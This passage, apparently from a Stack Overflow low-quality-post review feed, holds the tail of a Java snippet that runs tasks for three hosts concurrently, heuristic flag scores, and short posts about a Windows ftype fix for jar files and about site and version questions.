            return "Host-1 finished executing."
        };
        
        Callable<String> host2Task = () -> {
            PyObject result = executeForHost("Host-2");
            return "Host-2 finished executing."
        };
        
        Callable<String> host3Task = () -> {
            PyObject result = executeForHost("Host-3");
            return "Host-3 finished executing."
        };
        
        // execute all host connections concurrently
        Future<String> future1 = executor.submit(host1Task);
        Future<String> future2 = executor.submit(host2Task);
        Future<String> future3 = executor.submit(host3Task);
        
        // print results -- should see all hosts finish executing
        try {
            System.out.println(future1.get());
            System.out.println(future2.get());
            System.out.println(future3.get());
        } catch (ExecutionException e) {
            e.printStackTrace();
        }
        
        executor.shutdown();
    }
}

Reasons:
  • Blacklisted phrase (1): Is there a way
  • Blacklisted phrase (0.5): I cannot
  • Long answer (-1):
  • Has code block (-0.5):
  • Contains question mark (0.5):
  • Low reputation (0.5):
Posted by: dbakr

79811457

Date: 2025-11-06 15:19:39
Score: 1.5
Natty:
Report link

The problem was resolved by running:
ftype jarfile="C:\Program Files\Eclipse Adoptium\jdk-21.0.7.6-hotspot\bin\javaw.exe" -jar "%1" %

My application was compiled in newer version of java, ftype jarfile was returning version 1.8

---

Run CMD with Administrator privileges

Reasons:
  • Low length (0.5):
  • Has code block (-0.5):
  • Self-answer (0.5):
  • Low reputation (1):
Posted by: Traqu

79811441

Date: 2025-11-06 15:09:36
Score: 4
Natty:
Report link

also, how can I change the question type from "Advice" back to a general question? I tried editing, but there doesn't seem to be an option to do that.

Reasons:
  • Blacklisted phrase (0.5): how can I
  • Low length (1):
  • No code block (0.5):
  • Contains question mark (0.5):
  • Self-answer (0.5):
  • Single line (0.5):
  • Low reputation (0.5):
Posted by: Praise Dare

79811435

Date: 2025-11-06 15:03:34
Score: 3
Natty:
Report link

If that's the official way looks like the newest supported version is 2.17, not 2.18. Looking at the support matrix for the newest image. Specifically 25.02

Reasons:
  • Low length (1):
  • No code block (0.5):
  • Self-answer (0.5):
  • Single line (0.5):
  • Low reputation (0.5):
Posted by: Sami Wood